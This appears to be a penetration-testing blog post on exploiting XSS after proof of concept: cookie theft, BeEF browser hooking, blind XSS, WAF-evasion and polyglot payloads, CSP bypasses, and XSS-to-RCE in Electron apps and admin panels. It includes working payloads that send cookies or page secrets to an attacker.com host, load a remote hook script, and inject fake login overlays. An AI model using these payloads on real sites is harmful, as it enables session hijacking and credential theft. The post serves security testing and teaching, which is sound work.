An alert(1) is the proof-of-concept. After that you still have to do something useful with the finding, and modern defenses make a lot of the textbook moves not work. This post is about the part after the popup — what’s still effective against an application with CSP, HttpOnly cookies, and a WAF in front of it, plus the places XSS still ends in OS-level command execution.
Reflected, stored, DOM#
Quick refresher, because the categorization changes what’s worth doing with each:
- Reflected XSS. Payload bounces off the server in a response (search results, error pages). Requires the victim to click your link, so the attack model is phishing-shaped.
- Stored XSS. Payload sits in the database and fires for every viewer of the affected page. Comments, profile fields, support tickets. The high-value finding because you don’t need to deliver anything — the server is the delivery system.
- DOM XSS. Everything happens in the client. The server never sees the payload because it’s in the URL fragment or another client-only source. Common sources:
location.hash,document.referrer,window.name,postMessagedata. Common sinks:innerHTML,outerHTML,eval,setTimeout/setIntervalwhen called with a string,document.write, jQuery’s.html().
The distinction matters because DOM XSS frequently bypasses server-side defenses entirely — a WAF that’s diligent about <script> in the URL won’t help if the JavaScript is taking location.hash and feeding it to innerHTML directly.
Beyond the alert box#
Cookie theft#
The classic. Works only if the session cookie is missing HttpOnly.
new Image().src = "http://attacker.com/log?c=" + document.cookie;If HttpOnly is set (it usually is on modern stacks), skip cookie theft and look at what the application lets the authenticated user do. Often that’s enough on its own: change the email, change the password, trigger a password reset, post on behalf of the user, transfer money. The session is already there; you just have to use it.
Hooking the browser (BeEF)#
The Browser Exploitation Framework (BeEF) turns an XSS into a hooked browser you can drive from a control panel. You drop a hook script via your XSS:
<script src="http://attacker.com:3000/hook.js">
</script>…and from there you can use the victim’s browser as a beachhead. The interesting modules in practice:
- Internal network scanning. Browsers can issue HTTP(S) requests to RFC 1918 addresses. Same-origin policy stops you from reading most of the responses, but timing and connection success/failure are enough to enumerate. BeEF wraps this in a port-scan module.
- Credential harvesting. Inject a “your session has expired, please log in” overlay onto the page the victim is on. Same domain, real-looking, captures the credentials when they’re typed.
- Pivot into other apps. If the user is logged into other internal apps in the same browser, you can issue authenticated requests against those from the hook (subject to CORS).
BeEF’s “browser autopwn” modules — chaining into browser-level RCE — are mostly historical at this point. Modern Chrome and Firefox patch fast and the public modules age out quickly.
Blind XSS#
Blind XSS is when your payload lands on a page you can’t see. The usual scenario: you stuff a payload into a “contact us” form, a User-Agent header, or a username field. Some internal admin opens the dashboard hours or days later and your script runs in their privileged session.
The standard tooling here is XSS Hunter, which is now hosted by Truffle Security (the original xsshunter.com was deprecated in February 2023 by its creator Matt Bryant for privacy reasons). The hosted service is at xsshunter.trufflesecurity.com; the self-hostable codebase is xsshunter-express on GitHub. Both capture the URL, DOM (configurable), cookies, screenshot, and IP of wherever your payload eventually fires.
A representative payload:
"><script src="https://yoursubdomain.xss.ht/example.js"></script>The point isn’t a particular payload syntax — it’s that the callback gives you visibility into pages you’d otherwise have no way to test.
Evasion#
Modern WAFs look for <script>. They also look for onerror, javascript:, eval, and a dozen other obvious markers. So payloads need to either avoid those tokens, or hide them well enough to pass.
Tag and attribute variation#
The first thing to try when <script> is filtered is event handlers on other tags:
<img onerror="alert(1)" src="x"/>
<svg onload="alert(1)">
<body onload="alert(1)">
<input autofocus="" onfocus="alert(1)"/>
<details ontoggle="alert(1)" open="">
</details>
</body>
</svg>If specific event handlers are filtered, less common ones (onpointerrawupdate, onanimationstart) often slip through.
Polyglots#
A polyglot is a payload that executes in multiple contexts — inside an attribute, inside a script block, inside an HTML comment. The canonical one is from Gareth Heyes:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3eIt looks awful because it has to. The mixture of comment markers, attribute breakouts, and tag-closing fragments lets it trigger across script bodies, attribute values, and HTML contexts in one shot, which is exactly the property you want when you’re testing an unknown sink.
Bypassing CSP#
Content Security Policy is the heavyweight defense against XSS. It tells the browser which origins are allowed to execute scripts; even if you land an XSS, CSP can prevent your payload from running anything.
Some weaknesses to look for:
'unsafe-inline'. If the policy includes'unsafe-inline'forscript-src, the whole defense collapses. Inline scripts run normally and your XSS works as if CSP weren’t there. Surprisingly common in older sites that retrofitted CSP without actually rewriting their inline JS.Permissive script-src origins. If the policy whitelists a CDN like
*.googleapis.comand there’s a JSONP endpoint on that origin, you can call the JSONP callback with arbitrary code as the callback name. Lab-Cypress, Google Analytics, and several CDN-hosted libs have historically allowed this.'unsafe-eval'. Rare but devastating. Lets you useevalandFunction()to construct strings into code. Combined with a controlled string sink, that’s RCE-in-the-browser.Dangling markup. If you can inject HTML but not execute JS, you can sometimes exfiltrate sensitive content by leaving a tag unclosed:
<img src='https://attacker.com/log?The browser treats everything from
?forward as part of the URL, up to the next matching quote, sending CSRF tokens or other secrets up to your server. Works against<form>,<iframe srcdoc>, and<base>as well.
The current best-practice CSP — strict-dynamic with nonces or hashes, no 'unsafe-inline', no 'unsafe-eval' — is genuinely hard to bypass. When you find one, you usually look for an injection sink that doesn’t require JS execution at all (HTML injection, CSS injection for keylogging via animation event handlers, etc.) rather than fighting the CSP head-on.
XSS to RCE#
In some environments XSS escapes the browser sandbox and ends up as system command execution.
- Electron apps. Slack, Discord, VS Code, Teams, Notion — all browsers with extra capabilities, packaged as desktop apps. If the renderer has
nodeIntegration: true(the old default, disabled by default since Electron 5), XSS gives yourequire('child_process').exec(...)and arbitrary OS command execution. Modern Electron apps mostly run withcontextIsolation: trueand a preload script as the bridge, which closes the obvious path — but misconfigured preloads, vulnerable IPC handlers, orwebPreferencesoverrides on individualBrowserWindowinstances all reopen it. Check the actualwebPreferencesin the app’s source. - Browser-based admin panels. Routers, NAS devices, Jenkins, internal dashboards. XSS plus a useful authenticated endpoint (a “run command” debug feature, a plugin installer, anything that calls system tools) is a chain to OS RCE on the device, executed via CSRF requests from the hook.
- Internal SSRF chains. A hooked browser inside a corporate network can fetch the cloud metadata service (
http://169.254.169.254/) or attack other internal services. Same-origin restrictions limit what you can read back, but not what you can trigger.
Closing#
There’s a reflex in some shops to mark XSS as low or medium severity by default. That’s defensible for a reflected XSS on a marketing page. It’s not defensible for a stored XSS on a logged-in admin view, where the impact is “anything any administrator can do, on demand, when they next load the page.” Web defenses have improved a lot since 2010-era XSS — CSP and HttpOnly cookies in particular — but they’re configured by humans who often disable the strictness to make legacy code work. So the bug class is going to be around for a while, and the work of turning a popup into actual access is worth being good at.